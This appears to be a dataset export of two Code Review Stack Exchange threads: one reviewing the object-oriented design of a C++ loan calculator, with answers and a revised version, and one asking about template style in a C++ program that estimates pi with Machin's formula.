body
stringlengths
25
86.7k
comments
list
answers
list
meta_data
dict
question_id
stringlengths
1
6
<p>I would really like feedback on this Loan System Calculator. My goal is to get better at OOP design and would like to know if I've done a good job in making this scenario OOP? Could I have structured it better? Should I have separated each loan type as a separate class using inheritance? I would like to know what I've done well too! Thanks to anyone who spends their time to review it. <a href="https://i.stack.imgur.com/7Kdyq.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/7Kdyq.png" alt="enter image description here" /></a> // Loan System.cpp : This file contains the 'main' function. Program execution begins and ends there. //</p> <pre><code>#include &lt;iostream&gt; #include &lt;vector&gt; #include &lt;string&gt; class Customer { private: std::string m_name; int m_age; double m_salary; double m_takeOutLoan; std::string m_loanType; int m_loanLength; public: Customer():m_name(&quot;No name&quot;), m_age(0), m_salary(0), m_takeOutLoan(0), m_loanType(&quot;No loan name specified&quot;),m_loanLength(0){} void SetName(std::string name) { m_name = name; } void SetAge(int age) { m_age = age; } void SetSalary(double salary) { m_salary = salary; } std::string GetName() const { return m_name; } int GetAge() const { return m_age; } double GetSalary() const { return m_salary; } void SetTakeOutLoan(double takeOutLoan) { m_takeOutLoan = takeOutLoan; } double GetTakeOutLoan() const { return m_takeOutLoan; } std::string GetLoanType() const { return m_loanType; } void SetLoanLength(int loanLength) { m_loanLength = loanLength; } int GetLoanLength()const { return m_loanLength; } void SetLoanType(std::string&amp;&amp; loanType) { m_loanType = loanType; } }; class Loan { private: std::string m_loanType; std::string m_loanLength; double m_APR; double m_maximumLoan; public: int m_loanPeriod; Loan(std::string loanType, std::string loanLength, double APR, double maximumLoan, int loanPeriod) :m_loanType(loanType), m_loanLength(loanLength), m_APR(APR), m_maximumLoan(maximumLoan), m_loanPeriod(loanPeriod) { } std::string GetLoanType()const { return m_loanType; } std::string GetLoanLength()const { return m_loanLength; } double GetAPR()const { return m_APR; } double GetMaximumLoan() const { return m_maximumLoan; } void DisplayLoan() const { std::cout &lt;&lt; &quot;Loan Type: &quot; &lt;&lt; m_loanType &lt;&lt; &quot;\n&quot;; std::cout &lt;&lt; &quot;Loan Length: &quot; &lt;&lt; m_loanLength &lt;&lt; &quot;\n&quot;; std::cout &lt;&lt; &quot;APR: &quot; &lt;&lt; m_APR * 100 &lt;&lt; &quot;%\n&quot;; std::cout &lt;&lt; &quot;Maximum Loan: &quot; &lt;&lt; m_maximumLoan &lt;&lt; &quot;\n&quot;; } int ChoosePaybackPeriod(Customer&amp; customer) { int PaybackPeriod = 0; std::cout &lt;&lt; &quot;How long do you wish to pay back your loan?: &quot;; std::cin &gt;&gt; PaybackPeriod; if (PaybackPeriod &gt; 0 &amp;&amp; PaybackPeriod &lt;= m_loanPeriod) { return PaybackPeriod; } return 0; } }; class LongTerm : public Loan { private: public: LongTerm():Loan(&quot;Standard&quot;, &quot;3-5 Years&quot;, 0.049, 40000, 5){} }; class ShortTerm : public Loan { private: public: ShortTerm() :Loan(&quot;Standard&quot;, &quot;1-2 Years&quot;, 0.039, 12000, 2) {} }; class Emergency : public Loan { private: public: Emergency() :Loan(&quot;Short&quot;, &quot;1-6 Months&quot;, 0.299, 3000, 6) {} }; class LoanSystem { private: bool ChooseTakeOutLoan(Customer &amp;customer, double maximumTakeOutLoan) { double requestAmount = 0; std::cout &lt;&lt; &quot;How much of &quot; &lt;&lt; maximumTakeOutLoan &lt;&lt; &quot; do you want to take out?: &quot;; std::cin &gt;&gt; requestAmount; if (requestAmount &gt; 0 &amp;&amp; requestAmount &lt;= maximumTakeOutLoan) { customer.SetTakeOutLoan(requestAmount); return true; } else { return false; } } public: //Check if they are eligible bool isQualified(const Customer &amp;customer) { const double boundary = 12000; if (customer.GetSalary() &lt; boundary || customer.GetAge() &lt; 18) { return false; } return true; } void OverallCost(Customer &amp;customer, Loan *loan) { std::cout &lt;&lt; &quot;Loan: &quot; &lt;&lt; customer.GetLoanType() &lt;&lt; &quot;\n&quot;; std::cout &lt;&lt; &quot;Amount: &quot; &lt;&lt; customer.GetTakeOutLoan() &lt;&lt; &quot;\n&quot;; std::cout &lt;&lt; &quot;Time financed: &quot; &lt;&lt; customer.GetLoanLength() &lt;&lt; &quot; year(s)\n&quot;; std::cout &lt;&lt; &quot;APR for one year &quot; &lt;&lt; loan-&gt;GetAPR() * customer.GetTakeOutLoan() &lt;&lt; &quot;\n&quot;; std::cout &lt;&lt; &quot;APR for time required &quot; &lt;&lt; (loan-&gt;GetAPR() * 2) * customer.GetTakeOutLoan() &lt;&lt; &quot;\n&quot;; std::cout &lt;&lt; &quot;Total payable &quot; &lt;&lt; customer.GetTakeOutLoan() + (customer.GetTakeOutLoan() * (loan-&gt;GetAPR() * 2)) &lt;&lt; &quot;\n&quot;; } void calculateLoanType(Customer &amp;customer) { double maximumTakeOutLoan = 0; int paybackPeriod = 0; double APR = 0; if (customer.GetAge() &gt; 21 &amp;&amp; customer.GetSalary() &gt;= 24000) { LongTerm longTerm; longTerm.DisplayLoan(); customer.SetLoanType(longTerm.GetLoanType()); ChooseTakeOutLoan(customer, longTerm.GetMaximumLoan()); customer.SetLoanLength(longTerm.ChoosePaybackPeriod(customer)); OverallCost(customer, &amp;longTerm); } else if (customer.GetAge() &gt; 18 &amp;&amp; customer.GetSalary() &gt;= 21000) { ShortTerm shortTerm; shortTerm.DisplayLoan(); customer.SetLoanType(shortTerm.GetLoanType()); ChooseTakeOutLoan(customer, shortTerm.GetMaximumLoan()); customer.SetLoanLength(shortTerm.ChoosePaybackPeriod(customer)); OverallCost(customer, &amp;shortTerm); } else if (customer.GetAge() &gt; 18 &amp;&amp; customer.GetSalary() &gt;= 12000) { Emergency emergency; emergency.DisplayLoan(); customer.SetLoanType(emergency.GetLoanType()); ChooseTakeOutLoan(customer, emergency.GetMaximumLoan()); customer.SetLoanLength(emergency.ChoosePaybackPeriod(customer)); OverallCost(customer, &amp;emergency); } } }; void GetCustomerInformation(Customer &amp;customer) { std::string name = &quot;&quot;; int age = 0; double salary = 0; std::cout &lt;&lt; &quot;Enter your name: &quot;; std::getline(std::cin &gt;&gt; std::ws, name); customer.SetName(name); std::cout &lt;&lt; &quot;Enter your age: &quot;; std::cin &gt;&gt; age; customer.SetAge(age); std::cout &lt;&lt; &quot;Enter your salary: &quot;; std::cin &gt;&gt; salary; customer.SetSalary(salary); } int main() { LoanSystem loanSystem; Customer customer; GetCustomerInformation(customer); std::cout &lt;&lt; &quot;Your name is: &quot; &lt;&lt; customer.GetName() &lt;&lt; &quot;\n&quot;; std::cout &lt;&lt; &quot;Your age is: &quot; &lt;&lt; customer.GetAge() &lt;&lt; &quot;\n&quot;; std::cout &lt;&lt; &quot;Your salary is: &quot; &lt;&lt; customer.GetSalary() &lt;&lt; &quot;\n&quot;; std::cout &lt;&lt; &quot;Is &quot; &lt;&lt; customer.GetName() &lt;&lt; &quot; eligible for a loan?: &quot;; if (loanSystem.isQualified(customer)) { std::cout &lt;&lt; customer.GetName() &lt;&lt; &quot; is eligible!\n&quot;; } else { std::cout &lt;&lt; customer.GetName() &lt;&lt; &quot; isn't eligible!\n&quot;; return 0; } loanSystem.calculateLoanType(customer); std::cout &lt;&lt; &quot;The customer has decided to take out: &quot; &lt;&lt; customer.GetTakeOutLoan() &lt;&lt; &quot;\n&quot;; } </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-11T21:35:19.980", "Id": "499636", "Score": "1", "body": "`Loan` should be pure abstract interface, you can derive from it" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-11T22:01:32.297", "Id": "499642", "Score": "0", "body": "I thought this actually." } ]
[ { "body": "<p>I suggest that <code>Loan</code> be a pure abstract interface. <code>Loan</code> is also cluttered with information that deserve it own class. We name that class <code>LoanInformation</code>. It can be defined as follow.</p>\n<pre><code>class LoanInformation\n{\n friend std::ostream&amp; operator&lt;&lt;(std::ostream&amp; os, LoanInformation loanInfo);\n private:\n std::string m_LoanType;\n std::string m_LoanLength;\n double m_APR;\n double m_maximumLoan;\n public:\n LoanInformation(const std::string&amp; type, const std::string&amp; loanLength, double APR, double maximumLoan)\n : m_LoanType{type}, m_LoanLength{loanLength}, m_APR{APR}, m_maximumLoan{maximumLoan} {}\n};\n\nstd::ostream&amp; operator&lt;&lt;(std::ostream&amp; os, LoanInformation loanInfo)\n{\n os &lt;&lt; &quot;Loan Type: &quot; &lt;&lt; loanInfo.m_LoanType &lt;&lt; &quot;\\n&quot;;\n os &lt;&lt; &quot;Loan Length: &quot; &lt;&lt; loanInfo.m_LoanLength &lt;&lt; &quot;\\n&quot;;\n os &lt;&lt; &quot;APR: &quot; &lt;&lt; loanInfo.m_APR * 100 &lt;&lt; &quot;%\\n&quot;;\n os &lt;&lt; &quot;Maximum Loan: &quot; &lt;&lt; loanInfo.m_maximumLoan &lt;&lt; &quot;\\n&quot;;\n\n return os;\n}\n</code></pre>\n<p>Now we can define a Loan like this</p>\n<pre><code>class Loan \n{\n private:\n LoanInformation m_loanInfo;\n int m_ageCriteria;\n int m_salaryCriteria;\n public:\n Loan(const LoanInformation&amp; loanInfo, int ageCriteria, int salaryCriteria) \n : m_loanInfo{loanInfo}, m_ageCriteria{ageCriteria}, m_salaryCriteria{salaryCriteria} { };\n void displayLoan() \n {\n std::cout &lt;&lt; m_loanInfo;\n }\n int ageCriteria() const { return m_ageCriteria; }\n int salaryCriteria() const { return m_salaryCriteria; }\n virtual bool isQualified(const Customer&amp; customer) const = 0;\n virtual ~Loan(){}\n};\n\n</code></pre>\n<p>All classes that derive from <code>Loan</code> must define <code>isQualified</code>. This gives us a good implementation inheritance. Adding more types that derives from <code>Loan</code> cannot be more easier.</p>\n<pre><code>class ShortTermLoan : public Loan\n{\n public:\n ShortTermLoan(const LoanInformation&amp; loanInfo, int ageCriteria, int salaryCriteria) \n : Loan(loanInfo, ageCriteria, salaryCriteria) {}\n bool isQualified(const Customer&amp; customer) const\n {\n return (customer.age() &gt; ageCriteria() &amp;&amp; customer.salary() &gt;= salaryCriteria());\n }\n virtual ~ShortTermLoan(){}\n};\n\nclass LongTermLoan : public Loan\n{\n public:\n LongTermLoan(const LoanInformation&amp; loanInfo, int ageCriteria, int salaryCriteria) \n : Loan(loanInfo, ageCriteria, salaryCriteria){}\n bool isQualified(const Customer&amp; customer) const\n {\n return (customer.age() &gt; ageCriteria() &amp;&amp; customer.salary() &gt;= salaryCriteria());\n }\n virtual ~LongTermLoan(){}\n};\n\nclass EmergencyLoan : public Loan\n{\n public:\n EmergencyLoan(const LoanInformation&amp; loanInfo, int ageCriteria, int salaryCriteria) \n : Loan(loanInfo, ageCriteria, salaryCriteria){}\n bool isQualified(const Customer&amp; customer) const\n {\n return (customer.age() &gt; ageCriteria() &amp;&amp; customer.salary() &gt;= salaryCriteria());\n }\n virtual ~EmergencyLoan()\n};\n\n</code></pre>\n<p>All classes that derives from <code>Loan</code> have its notion of what <code>isQualified</code> means. [EDIT] We made <code>isQualified</code> a virtual function because users that might want to derive from our <code>Loan</code> class may have a different method of checking for customer eligibility which is not defined in the base class.</p>\n<p>Though passing a <code>customer</code> as a parameter looks a little sluggish, it is fine for this situation. We can define a simple <code>Customer</code> class like this</p>\n<pre><code>class Customer\n{\n friend std::ostream&amp; operator&lt;&lt;(std::ostream&amp; os, const Customer&amp; customer);\n private:\n int m_age; // This are made private because they might need to be validated\n double m_salary;\n public:\n Customer(const std::string&amp; name, int age, double salary)\n : m_age{age}, m_salary{salary}, m_name{name} {}\n std::string m_name; // No need to check names\n int age() const { return m_age; }\n double salary() const { return m_salary; }\n // more method-function\n};\n\nstd::ostream&amp; operator&lt;&lt;(std::ostream&amp; os, const Customer&amp; customer)\n{\n os &lt;&lt; &quot;Name: &quot; &lt;&lt; customer.m_name &lt;&lt; '\\n';\n os &lt;&lt; &quot;Age: &quot; &lt;&lt; customer.m_age &lt;&lt; '\\n';\n os &lt;&lt; &quot;Salary: &quot; &lt;&lt; customer.m_salary &lt;&lt; '\\n';\n\n return os;\n}\n</code></pre>\n<p>This class is simple enough.\nWe create three instances of <code>LoanInformation</code></p>\n<pre><code>LoanInformation longLoanInfo{&quot;Standard&quot;, &quot;3-5 years&quot;, 0.049, 40000};\nLoanInformation shortLoanInfo{&quot;Standard&quot;, &quot;3-5 years&quot;, 0.039, 12000};\nLoanInformation emergencyLoanInfo{&quot;Short&quot;, &quot;1-6 months&quot;, 0.299, 3000};\n</code></pre>\n<p>We can also construct it from a file.</p>\n<p>We initialize our loans based on their basic information and create an <code>std::vector</code> to store them. We can create our customer instance easily and check the loan the customer is eligible for</p>\n<pre><code>ShortTermLoan shortTerm{shortLoanInfo, 18, 21000};\nLongTermLoan longTern{longLoanInfo, 21, 24000};\nEmergencyLoan emergency{emergencyLoanInfo, 18, 12000};\nstd::vector&lt;Loan*&gt; loans{&amp;shortTerm, &amp;longTern, &amp;emergency};\n\nCustomer customer{&quot;Samuel&quot;, 19, 20000};\ncheckCustomerEligibilty(customer, loans); \n</code></pre>\n<p><code>checkCustomerEligibilty</code> becomes so much easy and can be done polymorphically, if we derive classes from <code>Loan</code>, there would be no problem.</p>\n<pre><code>void checkCustomerEligibilty(Customer&amp; customer, std::vector&lt;Loan*&gt; loans)\n{\n for(auto loan : loans)\n {\n if(loan-&gt;isQualified(customer))\n {\n std::cout &lt;&lt; customer.m_name &lt;&lt; &quot; is Qualified for: \\n&quot;;\n loan-&gt;displayLoan();\n std::cout &lt;&lt; '\\n';\n }\n }\n}\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T00:07:06.553", "Id": "499648", "Score": "1", "body": "Wow! Thank you so much! I am going to painstakingly go through everything you’ve suggested, understand it then implement it into my program! I’ll be sure to have questions as I usually do." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T19:06:34.240", "Id": "499679", "Score": "0", "body": "Hi, I've posted my updated code as an answer. Could you have a look at it for me please? I created a new class called \"Bank\". Could you give me feedback on it? Have I implemented it correctly? I've based it principally off your suggestions. https://codereview.stackexchange.com/a/253394/214082" } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-11T23:56:07.990", "Id": "253372", "ParentId": "253348", "Score": "1" } }, { "body": "<pre><code>#include &lt;iostream&gt;\n#include &lt;vector&gt;\n#include &lt;string&gt;\n\nclass Bank {\nprivate:\n double m_loanAmount;\n int m_paybackPeriod;\npublic:\n Bank() :m_loanAmount{0}, m_paybackPeriod{0} {}\n\n double loanAmount() const { return m_loanAmount; }\n void setLoanAmount(double loanAmount) { m_loanAmount = loanAmount; }\n\n void setPaybackPeriod(int paybackPeriod) { m_paybackPeriod = paybackPeriod; }\n double paybackPeriod()const { return m_paybackPeriod; }\n};\nclass Customer {\n friend std::ostream&amp; operator&lt;&lt;(std::ostream&amp; os, const Customer&amp; customer);\nprivate:\n std::string m_name;\n int m_age;\n double m_salary;\npublic:\n Bank account;\n Customer(std::string name = &quot;No name&quot;, int age = 0, double salary = 0):m_name(name), m_age(age), m_salary(salary){}\n std::string GetName() const { return m_name; }\n int GetAge() const { return m_age; }\n\n void SetName(std::string name) { m_name = name; }\n void SetAge(int age) { m_age = age; }\n\n double GetSalary() const { return m_salary; }\n void SetSalary(double salary) { m_salary = salary; }\n};\n\nstd::ostream&amp; operator&lt;&lt;(std::ostream&amp; os, const Customer&amp; customer) \n{\n os &lt;&lt; &quot;Name: &quot; &lt;&lt; customer.m_name &lt;&lt; &quot;\\n&quot;;\n os &lt;&lt; &quot;Age: &quot; &lt;&lt; customer.m_age &lt;&lt; &quot;\\n&quot;;\n os &lt;&lt; &quot;Salary: &quot; &lt;&lt; customer.m_salary &lt;&lt; &quot;\\n&quot;;\n return os;\n}\nclass LoanInformation \n{\n friend std::ostream&amp;operator&lt;&lt;(std::ostream&amp; os, LoanInformation loanInfo);\nprivate:\n std::string m_loan;\n std::string m_loanType;\n std::string m_loanLength;\n double m_APR;\n double m_maximumLoan;\n int m_maxLoanLength;\npublic:\n double maximumLoan()const { return m_maximumLoan; }\n double APR() const { return m_APR; }\n int maxLoanLength() const { return m_maxLoanLength; }\n LoanInformation(std::string loan, const std::string &amp;type, const std::string&amp;loanLength, double APR, double maximumLoan, int maxLoanPeriod)\n :m_loan{ loan }, m_loanType{ type }, m_loanLength{ loanLength }, m_APR{ APR }, m_maximumLoan{ maximumLoan }, m_maxLoanLength{ maxLoanPeriod }{}\n};\n\nstd::ostream&amp; operator&lt;&lt;(std::ostream&amp; os, LoanInformation loanInfo) {\n os &lt;&lt; loanInfo.m_loan &lt;&lt; &quot;\\n&quot;;\n os &lt;&lt; &quot;Loan Type: &quot; &lt;&lt; loanInfo.m_loanType &lt;&lt; &quot;\\n&quot;;\n os &lt;&lt; &quot;Loan Length: &quot; &lt;&lt; loanInfo.m_loanLength &lt;&lt; &quot;\\n&quot;;\n os &lt;&lt; &quot;APR: &quot; &lt;&lt; loanInfo.m_APR * 100 &lt;&lt; &quot;%\\n&quot;;\n os &lt;&lt; &quot;Maximum Loan: &quot; &lt;&lt; loanInfo.m_maximumLoan &lt;&lt; &quot;\\n&quot;;\n return os;\n}\n\nclass Loan {\nprivate:\n \n int m_ageCriteria;\n double m_salaryCriteria;\npublic:\n LoanInformation m_loanInfo;\n void displayLoan() \n {\n std::cout &lt;&lt; m_loanInfo;\n }\n Loan(const LoanInformation &amp;loanInfo, int ageCriteria, double salaryCriteria)\n :m_loanInfo{ loanInfo }, m_ageCriteria{ ageCriteria }, m_salaryCriteria{salaryCriteria}\n {}\n\n int ageCriteria()const { return m_ageCriteria; }\n double salaryCriteria()const { return m_salaryCriteria; }\n virtual bool isQualified(const Customer&amp; customer) const = 0;\n virtual ~Loan() {}\n};\nclass ShortTermLoan : public Loan\n{\nprivate:\npublic:\n ShortTermLoan(const LoanInformation &amp;loanInfo, int ageCriteria, double salaryCritieria)\n :Loan{loanInfo, ageCriteria, salaryCritieria} {}\n virtual bool isQualified(const Customer&amp; customer) const override {\n return (customer.GetAge() &gt; ageCriteria() &amp;&amp; customer.GetSalary() &gt;= salaryCriteria());\n }\n virtual ~ShortTermLoan() = default;\n\n};\nclass LongTermLoan : public Loan {\nprivate:\npublic:\n LongTermLoan(const LoanInformation&amp; loanInfo, int ageCriteria, double salaryCriteria)\n :Loan{ loanInfo, ageCriteria, salaryCriteria } {}\n virtual bool isQualified(const Customer&amp; customer) const override {\n return (customer.GetAge() &gt; ageCriteria() &amp;&amp; customer.GetSalary() &gt;= salaryCriteria());\n }\n virtual ~LongTermLoan() = default;\n};\n\n\nclass EmergencyLoan : public Loan\n{\nprivate:\npublic:\n EmergencyLoan(const LoanInformation&amp; loanInfo, int ageCriteria, double salaryCriteria)\n :Loan{ loanInfo, ageCriteria, salaryCriteria } {}\n virtual bool isQualified(const Customer&amp; customer) const override {\n return (customer.GetAge() &gt; ageCriteria() &amp;&amp; customer.GetSalary() &gt;= salaryCriteria());\n }\n virtual ~EmergencyLoan() = default;\n\n};\n\nclass LoanSystem \n{\n std::vector&lt;Loan*&gt;availableLoans;\nprivate:\n bool ChoosePaybackPeriod(Customer&amp; customer, Loan*loan) {\n int PaybackPeriod = 0;\n std::cout &lt;&lt; &quot;How long do you wish to pay back your loan?: &quot;;\n std::cin &gt;&gt; PaybackPeriod;\n if (PaybackPeriod &gt; 0 &amp;&amp; PaybackPeriod &lt;= loan-&gt;m_loanInfo.maxLoanLength())\n {\n customer.account.setPaybackPeriod(PaybackPeriod);\n return true;\n }\n\n return false;\n }\n bool ChooseTakeOutLoan(Customer &amp;customer, double maximumTakeOutLoan)\n {\n double requestAmount = 0;\n std::cout &lt;&lt; &quot;How much of &quot; &lt;&lt; maximumTakeOutLoan &lt;&lt; &quot; do you want to take out?: &quot;;\n std::cin &gt;&gt; requestAmount;\n if (requestAmount &gt; 0 &amp;&amp; requestAmount &lt;= maximumTakeOutLoan) {\n customer.account.setLoanAmount(requestAmount);\n return true;\n }\n else\n {\n return false;\n }\n }\n\npublic:\n void checkCustomerEligibility(Customer&amp; customer, std::vector&lt;Loan*&gt;&amp;loans) {\n \n for (auto&amp; loan : loans) \n {\n if (loan-&gt;isQualified(customer)) \n { \n availableLoans.push_back(loan); \n } \n }\n }\n void DisplayAvailableLoans(Customer &amp;customer) const {\n int countItems = 1;\n std::cout &lt;&lt; customer.GetName() &lt;&lt; &quot; is qualified for. . . \\n\\n&quot;;\n for (auto&amp; loan : availableLoans) {\n std::cout &lt;&lt; countItems++ &lt;&lt; &quot;. &quot;;\n loan-&gt;displayLoan();\n std::cout &lt;&lt; &quot;\\n&quot;;\n }\n }\n void specifyAmount(Customer &amp;customer) {\n\n }\n void chooseLoanPlan(Customer &amp;customer, std::vector&lt;Loan*&gt;&amp;loans) {\n std::size_t index = 0;\n checkCustomerEligibility(customer, loans);\n try \n {\n DisplayAvailableLoans(customer);\n std::cout &lt;&lt; &quot;Choose loan type (e.g. 1): &quot;;\n std::cin &gt;&gt; index; \n ChooseTakeOutLoan(customer, availableLoans.at(index - 1)-&gt;m_loanInfo.maximumLoan());\n ChoosePaybackPeriod(customer, availableLoans.at(index - 1));\n OverallCost(customer, availableLoans.at(index - 1));\n }\n catch (...) \n {\n std::cout &lt;&lt; &quot;Your input is invalid!\\n&quot;;\n }\n }\n void OverallCost(Customer &amp;customer, Loan *loan) {\n\n loan-&gt;displayLoan(); \n std::cout &lt;&lt; &quot;Amount: &quot; &lt;&lt; customer.account.loanAmount() &lt;&lt; &quot;\\n&quot;;\n std::cout &lt;&lt; &quot;Time financed: &quot; &lt;&lt; customer.account.paybackPeriod() &lt;&lt; &quot; year(s)\\n&quot;;\n std::cout &lt;&lt; &quot;APR for one year &quot; &lt;&lt; loan-&gt;m_loanInfo.APR() * customer.account.loanAmount() &lt;&lt; &quot;\\n&quot;;\n std::cout &lt;&lt; &quot;APR for time required &quot; &lt;&lt; (loan-&gt;m_loanInfo.APR() * 2) * customer.account.loanAmount() &lt;&lt; &quot;\\n&quot;;\n std::cout &lt;&lt; &quot;Total payable &quot; &lt;&lt; customer.account.loanAmount() + (customer.account.loanAmount() * (loan-&gt;m_loanInfo.APR() * 2)) &lt;&lt; &quot;\\n&quot;;\n }\n \n};\n\nvoid GetCustomerInformation(Customer &amp;customer) {\n std::string name = &quot;&quot;;\n int age = 0;\n double salary = 0;\n\n std::cout &lt;&lt; &quot;Enter your name: &quot;;\n std::getline(std::cin &gt;&gt; std::ws, name);\n customer.SetName(name);\n\n std::cout &lt;&lt; &quot;Enter your age: &quot;;\n std::cin &gt;&gt; age;\n customer.SetAge(age);\n\n std::cout &lt;&lt; &quot;Enter your salary: &quot;;\n std::cin &gt;&gt; salary;\n customer.SetSalary(salary);\n}\n\n\nint main()\n{\n LoanSystem loanSystem;\n LoanInformation longLoanInfo{ &quot;Long Term Loan&quot;,&quot;Standard&quot;, &quot;3-5 years&quot;, 0.049, 40000,5 };\n LoanInformation shortLoanInfo{ &quot;Short Term Loan&quot;, &quot;Standard&quot;, &quot;3-5 years&quot;, 0.039, 12000,2 };\n LoanInformation emergencyLoanInfo{ &quot;Emergency Loan&quot;, &quot;Short&quot;, &quot;1-6 months&quot;, 0.299, 3000, 6};\n\n ShortTermLoan shortTerm{ shortLoanInfo, 18, 21000 };\n LongTermLoan longTerm{ longLoanInfo, 21, 24000 };\n EmergencyLoan emergency{ emergencyLoanInfo, 18, 12000 };\n\n std::vector&lt;Loan*&gt; loans{ &amp;shortTerm, &amp;longTerm, &amp;emergency };\n \n Customer customer(&quot;Jack Kimmins&quot;, 24, 12000);\n \n //GetCustomerInformation(customer);\n //loanSystem.checkCustomerEligibility(customer, loans);\n loanSystem.chooseLoanPlan(customer, loans);\n std::cout &lt;&lt; &quot;Take out loan: &quot; &lt;&lt; customer.account.loanAmount();\n \n}\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T19:45:08.960", "Id": "499686", "Score": "1", "body": "There are lots of improvement, I personally would not have a `bank` or `LoanSystem` class. Make them free functions, maybe hidden in a namespace. Secondly, your `notion` of a bank is just not right, I would expect a bank to have `Accounts`, `Customers`" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T19:50:29.277", "Id": "499689", "Score": "1", "body": "Can you have a default customer with no names and an age of 0? You would also want to avoid setters and getters also. You should have a concrete reasoning of providing a default." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T19:59:51.250", "Id": "499695", "Score": "0", "body": "I was experimenting with default values there! Just ignore that haha. Ok, I’ll have them as free functions. One of the things I was really puzzling over was whereabouts do I store the chosen payback period variable? I understand about the bank, even when I creating it I was questioning it. Where do I store the bank variables then? Do they belong to the customer?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T20:18:22.903", "Id": "499699", "Score": "0", "body": "It can be part of the namespace." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T20:28:59.120", "Id": "499701", "Score": "0", "body": "Part of the namespace?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T21:22:03.507", "Id": "499705", "Score": "0", "body": "Check this [out](https://stackoverflow.com/questions/32161199/what-exactly-is-a-namespace-and-why-is-it-necessary/32161640)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T21:33:47.520", "Id": "499707", "Score": "0", "body": "I understand about namespaces, however, why should I put the time period e.g. two years which the user chooses and store it in a namespace? Isn’t storing it in the customer class better?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T23:40:31.750", "Id": "499711", "Score": "0", "body": "Let us [continue this discussion in chat](https://chat.stackexchange.com/rooms/117221/discussion-between-george-austin-bradley-and-theprogrammer)." } ], "meta_data": { "CommentCount": "8", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T19:05:47.833", "Id": "253394", "ParentId": "253348", "Score": "1" } } ]
{ "AcceptedAnswerId": "253372", "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-11T16:28:26.950", "Id": "253348", "Score": "0", "Tags": [ "c++11" ], "Title": "Loan System Calculator" }
253348
<h1>Overview</h1> <p>Below is a simple program to estimate pi to the full precision of the provided type. It uses <a href="https://en.wikipedia.org/wiki/Machin-like_formula" rel="nofollow noreferrer">Machin's formula</a>, but this question is about coding style / choices. It compares the result to <code>M_PI</code> from <code>&lt;cmath&gt;</code> - best we have in C++17.</p> <h1>Questions</h1> <ol> <li>Is my use of <code>enable_if_t</code> appropriate and idiomatic?</li> <li>Is the use of <code>static_cast&lt;T&gt;</code> for <code>one_over_5</code> and <code>one_over_239</code> the &quot;best&quot; solution here? Neccesary, and appropriate?</li> <li>How about the use of <code>decltype</code>, <code>::epsilon</code> and <code>::digits10</code>?</li> <li>Accuracy: How about <code>sign =* -1</code> and <code>den += 2.0</code> and <code>... = sign * ...</code>? These are integer operations but use the floating point type.</li> <li>My choice to force the user of <code>pi&lt;T&gt;()</code> to specify a <code>T</code>?</li> </ol> <p>Note: I know the templates should probably be in header file, but all in one here for simplicity on CR.</p> <pre><code>#include &lt;cmath&gt; #include &lt;iomanip&gt; #include &lt;iostream&gt; #include &lt;type_traits&gt; template &lt;typename T, std::enable_if_t&lt;std::is_floating_point_v&lt;T&gt;, bool&gt; = true&gt; T arctan(T tan) { // fabs(tan) &gt; 1 will not converge T num = tan; T den = 1.0; T sign = 1.0; T term = num; T res = num; while (std::fabs(term) &gt; std::numeric_limits&lt;T&gt;::epsilon()) { num *= tan * tan; den += 2.0; sign *= -1.0; term = sign * num / den; res += term; } return res; } template &lt;typename T, std::enable_if_t&lt;std::is_floating_point_v&lt;T&gt;, bool&gt; = true&gt; T pi() { T one_over_5 = static_cast&lt;T&gt;(1.0) / static_cast&lt;T&gt;(5.0); T one_over_239 = static_cast&lt;T&gt;(1.0) / static_cast&lt;T&gt;(239.0); return (static_cast&lt;T&gt;(4.0) * arctan&lt;T&gt;(one_over_5) - arctan&lt;T&gt;(one_over_239)) * static_cast&lt;T&gt;(4.0); } int main() { auto pi_float = pi&lt;float&gt;(); auto pi_double = pi&lt;double&gt;(); auto pi_long_double = pi&lt;long double&gt;(); std::cout &lt;&lt; std::setprecision(std::numeric_limits&lt;decltype(pi_float)&gt;::digits10) &lt;&lt; pi_float &lt;&lt; '\n' &lt;&lt; std::setprecision(std::numeric_limits&lt;decltype(pi_double)&gt;::digits10) &lt;&lt; pi_double &lt;&lt; '\n' &lt;&lt; std::setprecision(std::numeric_limits&lt;decltype(pi_long_double)&gt;::digits10) &lt;&lt; pi_long_double &lt;&lt; '\n' &lt;&lt; M_PI &lt;&lt; '\n'; return EXIT_SUCCESS; } </code></pre> <p>Output - demonstrating that <code>M_PI</code> from <code>&lt;cmath&gt;</code> is actually incorrect at <code>long double</code> precision in the last 2 digits (the correct value is 3.1415926535897932384626433...)</p> <p><strong>Note</strong> (unrelated to question, but for future reference): It turns out that the reason <code>M_PI</code> is &quot;wrong&quot; is because the <code>M_PI</code> macro does not specify a literal <code>L</code> for <code>long double</code>, and hence the value is rounded to double precision before being displayed. If you put a literal <code>3.14159265358979323846L</code> then it is accurate. Usually that is provided as the macro <code>M_PIl</code>.</p> <pre><code>3.14159 3.14159265358979 3.14159265358979324 3.14159265358979312 </code></pre>
[]
